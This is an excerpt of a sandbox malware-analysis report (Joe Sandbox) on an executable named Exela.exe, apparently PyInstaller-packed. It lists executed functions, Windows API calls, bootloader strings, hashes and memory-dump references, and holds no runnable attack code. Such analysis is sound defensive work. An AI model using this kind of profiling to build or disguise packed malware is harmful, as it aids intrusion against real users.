Associated: 00000040.00000002.2596088889.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596200164.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596242172.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596323916.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_conhost.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 87f9ce1bbc68f519e9da004e6316be91bec518300aea1fdf9716aad2947da55c
Instruction ID: 8e95c5bf1582c2fa6f49c61d441952bd59d504a178f2dce2e4bc026802320bcf
Opcode Fuzzy Hash: 87f9ce1bbc68f519e9da004e6316be91bec518300aea1fdf9716aad2947da55c
Instruction Fuzzy Hash: 6501F2B5305A0082FA2BDB53FE083D82364BB6CBD0F454021EF0943AB4DB79C996C300

Analysis Process: Exela.exePID: 7088, Parent PID: 5852COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	75

Executed Functions

Function 00007FF75AE98BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75AE99400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF75AE945E4,00000000,00007FF75AE91985), ref: 00007FF75AE99439

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98C2B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98C46

Part of subcall function 00007FF75AEAA4EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEAA500

Part of subcall function 00007FF75AEA878C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA87F3

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98CD6
CreateProcessW.KERNELBASE ref: 00007FF75AE98D0E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98D18

Part of subcall function 00007FF75AE92C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF75AE93706,?,00007FF75AE93804), ref: 00007FF75AE92C9E
Part of subcall function 00007FF75AE92C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF75AE93706,?,00007FF75AE93804), ref: 00007FF75AE92D63
Part of subcall function 00007FF75AE92C50: MessageBoxW.USER32 ref: 00007FF75AE92D99

RegisterClassW.USER32 ref: 00007FF75AE98D70
GetLastError.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98D7B
CreateWindowExW.USER32 ref: 00007FF75AE98DC5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98DD7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98DF2
GetLastError.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98E05
PeekMessageW.USER32 ref: 00007FF75AE98E29
TranslateMessage.USER32 ref: 00007FF75AE98E37
DispatchMessageW.USER32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98E41
PeekMessageW.USER32 ref: 00007FF75AE98E5C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98E6E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98E89
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98E9F
GetLastError.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98EA9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98EB7
DestroyWindow.USER32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE98FF4
GetExitCodeProcess.KERNELBASE ref: 00007FF75AE99009
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE99012
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF75AE93F7F), ref: 00007FF75AE9901F

Strings

Failed to create child process!, xrefs: 00007FF75AE98D20
PyInstaller Onefile Hidden Window, xrefs: 00007FF75AE98D85
PyInstallerOnefileHiddenWindow, xrefs: 00007FF75AE98D44
CreateProcessW, xrefs: 00007FF75AE98D27

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction ID: 1ab73469522d9df8703f70ce5660bd6f590d1f319819d037a5ddd785809d90c5
Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction Fuzzy Hash: 44D1E432A08B968AF710BF34E85A6ADB764FF84B58F884275DA5D43AA4DF3CD504C710

Function 00007FF75AE91000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF75AE93882, 00007FF75AE938AF
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF75AE93D12
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF75AE93A17, 00007FF75AE93A2F, 00007FF75AE93A9B
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF75AE93E0A
pyi-python-flag, xrefs: 00007FF75AE93AD6
pyi-disable-windowed-traceback, xrefs: 00007FF75AE93BB2
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF75AE93EA6
_PYI_ARCHIVE_FILE, xrefs: 00007FF75AE938D2, 00007FF75AE939FF
Could not create temporary directory!, xrefs: 00007FF75AE93CBF
VCRUNTIME140.dll, xrefs: 00007FF75AE93DB1
Failed to load splash screen resources!, xrefs: 00007FF75AE93E85
Failed to convert DLL search path!, xrefs: 00007FF75AE93DDC
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF75AE93B32
pyi-runtime-tmpdir, xrefs: 00007FF75AE93B68
pkg, xrefs: 00007FF75AE939BE
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF75AE93C61
MEI, xrefs: 00007FF75AE93933
Failed to remove temporary directory: %s, xrefs: 00007FF75AE93FC3
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF75AE93A0B, 00007FF75AE93CD4, 00007FF75AE93F6B
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF75AE93EBB
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF75AE93971
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF75AE93D35
pyi-contents-directory, xrefs: 00007FF75AE93B8D
Failed to start splash screen!, xrefs: 00007FF75AE93ED4
Py_GIL_DISABLED, xrefs: 00007FF75AE93AF4
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF75AE939DE
_PYI_SPLASH_IPC, xrefs: 00007FF75AE93A23, 00007FF75AE93EF5
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF75AE93BE8

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-4232158417
Opcode ID: 230e5f2fbe18b706386c2e6c5de042c78cdf1bdf29ac743ce162c0a9040f007d
Instruction ID: b69eaa1dd3331475563e73e66bf5e4f1996367c321b0537a7c0a8e22d49e240b
Opcode Fuzzy Hash: 230e5f2fbe18b706386c2e6c5de042c78cdf1bdf29ac743ce162c0a9040f007d
Instruction Fuzzy Hash: F932AF21A0C7A759FA24B720945A7F9E691AF44B84FCC41B6DA5D432D2EF3CE954C330

Function 00007FF75AEB5C70 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF75AEB5CB5

Part of subcall function 00007FF75AEB5608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB561C

Part of subcall function 00007FF75AEAA9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF75AEB2D92,?,?,?,00007FF75AEB2DCF,?,?,00000000,00007FF75AEB3295,?,?,?,00007FF75AEB31C7), ref: 00007FF75AEAA9CE
Part of subcall function 00007FF75AEAA9B8: GetLastError.KERNEL32(?,?,?,00007FF75AEB2D92,?,?,?,00007FF75AEB2DCF,?,?,00000000,00007FF75AEB3295,?,?,?,00007FF75AEB31C7), ref: 00007FF75AEAA9D8

Part of subcall function 00007FF75AEAA970: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF75AEAA94F,?,?,?,?,?,00007FF75AEAA83A), ref: 00007FF75AEAA979
Part of subcall function 00007FF75AEAA970: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF75AEAA94F,?,?,?,?,?,00007FF75AEAA83A), ref: 00007FF75AEAA99E

_get_daylight.LIBCMT ref: 00007FF75AEB5CA4

Part of subcall function 00007FF75AEB5668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB567C

_get_daylight.LIBCMT ref: 00007FF75AEB5F1A
_get_daylight.LIBCMT ref: 00007FF75AEB5F2B
_get_daylight.LIBCMT ref: 00007FF75AEB5F3C
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF75AEB617C), ref: 00007FF75AEB5F63

Strings

Eastern Summer Time, xrefs: 00007FF75AEB6021
Eastern Standard Time, xrefs: 00007FF75AEB6009

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction ID: 693fde1b50c7a2a4b3a3d98dc106139f1c519a3e5693e51a6896f1a163118426
Opcode Fuzzy Hash: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction Fuzzy Hash: 7CD1B032A0836686FB20FF25D45A1B9A751EF44784FCC8276EA4E47695DF3CE8428770

Function 00007FF75AEB69D4 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75AEB6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB6749
Part of subcall function 00007FF75AEB6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB67C7
Part of subcall function 00007FF75AEB6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB6818

CreateFileW.KERNELBASE ref: 00007FF75AEB6ADA
CreateFileW.KERNEL32 ref: 00007FF75AEB6B2A
GetLastError.KERNEL32 ref: 00007FF75AEB6B5A
GetFileType.KERNELBASE ref: 00007FF75AEB6B6F
GetLastError.KERNEL32 ref: 00007FF75AEB6B79
CloseHandle.KERNEL32 ref: 00007FF75AEB6BAC
CloseHandle.KERNEL32 ref: 00007FF75AEB6D0F
CreateFileW.KERNEL32 ref: 00007FF75AEB6D44
GetLastError.KERNEL32 ref: 00007FF75AEB6D53

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction ID: ee3efea50d0d48c4bde0f0a6c6a8b7b33c35aff29d8b17df749b4ce14cdfd268
Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction Fuzzy Hash: 20C1EF32B28A6986FB10EFA4C4962AC7761FB49B98F885375DB6E57394CF38D411C310

Function 00007FF75AE983B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF75AE98B09,00007FF75AE93FA5), ref: 00007FF75AE9841B
RemoveDirectoryW.KERNEL32(?,00007FF75AE98B09,00007FF75AE93FA5), ref: 00007FF75AE9849E
DeleteFileW.KERNELBASE(?,00007FF75AE98B09,00007FF75AE93FA5), ref: 00007FF75AE984BD
FindNextFileW.KERNELBASE(?,00007FF75AE98B09,00007FF75AE93FA5), ref: 00007FF75AE984CB
FindClose.KERNEL32(?,00007FF75AE98B09,00007FF75AE93FA5), ref: 00007FF75AE984DC
RemoveDirectoryW.KERNELBASE(?,00007FF75AE98B09,00007FF75AE93FA5), ref: 00007FF75AE984E5

Strings

%s\*, xrefs: 00007FF75AE983E2

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 39a93d91a788addd72801eeb202cf5dd5373a6ceabdc1da620128e14205563d9
Instruction ID: 709c6038febe3ce181d98b084f7fc6d58cae5cb6ff821833daea625e506cd7e4
Opcode Fuzzy Hash: 39a93d91a788addd72801eeb202cf5dd5373a6ceabdc1da620128e14205563d9
Instruction Fuzzy Hash: E741A431A0C76699FA20BB24E44A9BDA760FF94750FC80276D95D436E4DF3CD946CB20

Function 00007FF75AEB5EEC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF75AEB5F1A

Part of subcall function 00007FF75AEB5668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB567C

_get_daylight.LIBCMT ref: 00007FF75AEB5F2B

Part of subcall function 00007FF75AEB5608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB561C

_get_daylight.LIBCMT ref: 00007FF75AEB5F3C

Part of subcall function 00007FF75AEB5638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB564C

Part of subcall function 00007FF75AEAA9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF75AEB2D92,?,?,?,00007FF75AEB2DCF,?,?,00000000,00007FF75AEB3295,?,?,?,00007FF75AEB31C7), ref: 00007FF75AEAA9CE
Part of subcall function 00007FF75AEAA9B8: GetLastError.KERNEL32(?,?,?,00007FF75AEB2D92,?,?,?,00007FF75AEB2DCF,?,?,00000000,00007FF75AEB3295,?,?,?,00007FF75AEB31C7), ref: 00007FF75AEAA9D8

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF75AEB617C), ref: 00007FF75AEB5F63

Strings

Eastern Summer Time, xrefs: 00007FF75AEB6021
Eastern Standard Time, xrefs: 00007FF75AEB6009

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction ID: 434c2a0d6dcaf9cf54c9a4d6a32f24e3b50ce587ed8d484ceb3794a820684f46
Opcode Fuzzy Hash: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction Fuzzy Hash: 2551A432A0876686F760FF25E5975A9E350BF48784FCC4279EA4D43696DF3CE8018760

Function 00007FF75AE992F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF75AE99323
FindClose.KERNELBASE ref: 00007FF75AE99332

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction ID: d28007797e316ee1e134623854a8434a5f6d3804ae729b7e3fa2ae69a2b0a515
Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction Fuzzy Hash: 57F0C822A187518AF760BF60B45A76AB350AF84324F8C4335D9AD027E4DF3CD4488A10

Function 00007FF75AEB0938 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 10bf4b1f0472125ada9b1d6b923a92a2d49e498fcbab652d34985a7b27debbff
Instruction ID: 2eee3a1608a7673bd6efa5f382ff8a6b701f9dfea337a90977b599691ea146da
Opcode Fuzzy Hash: 10bf4b1f0472125ada9b1d6b923a92a2d49e498fcbab652d34985a7b27debbff
Instruction Fuzzy Hash: 4202AC21B0D77A41FAA6BB11A44B279A690AF45BA0FCD87B4DD5D473D2DE3DB8018330

Function 00007FF75AE91950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75AE97F80: _fread_nolock.LIBCMT ref: 00007FF75AE9802A

_fread_nolock.LIBCMT ref: 00007FF75AE91A1B

Part of subcall function 00007FF75AE92910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF75AE91B6A), ref: 00007FF75AE9295E

Strings

malloc, xrefs: 00007FF75AE91B22
Failed to seek to cookie position!, xrefs: 00007FF75AE919EE
Error on file., xrefs: 00007FF75AE91B8D
calloc, xrefs: 00007FF75AE91A68
Could not allocate buffer for TOC!, xrefs: 00007FF75AE91B1B
fread, xrefs: 00007FF75AE91A32, 00007FF75AE91B5C
Could not allocate memory for archive structure!, xrefs: 00007FF75AE91A61
fseek, xrefs: 00007FF75AE919F5
Failed to read cookie!, xrefs: 00007FF75AE91A2B
Could not read full TOC!, xrefs: 00007FF75AE91B55
MEI, xrefs: 00007FF75AE91991

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 7f967e8bf4bd65ccd330245f6cf3beef5728b9bf280203bc786e936cb306ff0d
Instruction ID: 58affc7623e1bb6c5573197db563d731b501ef89910778927b89facaf8a57c6b
Opcode Fuzzy Hash: 7f967e8bf4bd65ccd330245f6cf3beef5728b9bf280203bc786e936cb306ff0d
Instruction Fuzzy Hash: D481D671A0C7A68AFB60FB14D4466F9A390EF48784FC84171EA4D43786DE3CE5858760

Function 00007FF75AE91600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF75AE91749
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF75AE917CA
fread, xrefs: 00007FF75AE917E6
Failed to extract %s: failed to open target file!, xrefs: 00007FF75AE9165C
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF75AE91742
fopen, xrefs: 00007FF75AE91663
Failed to create symbolic link %s!, xrefs: 00007FF75AE91622
fseek, xrefs: 00007FF75AE916E1
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF75AE916DA
Failed to extract %s: failed to open archive file!, xrefs: 00007FF75AE916A2
fwrite, xrefs: 00007FF75AE917D1
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF75AE917DF

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 607fb3d22e1abd3d0ea9d943795872ea3e60594e8e3d1f768179a624c21a25df
Instruction ID: 776d906da119d5d27130256d0e3fb402130479796d512671bfd60679ec5532e4
Opcode Fuzzy Hash: 607fb3d22e1abd3d0ea9d943795872ea3e60594e8e3d1f768179a624c21a25df
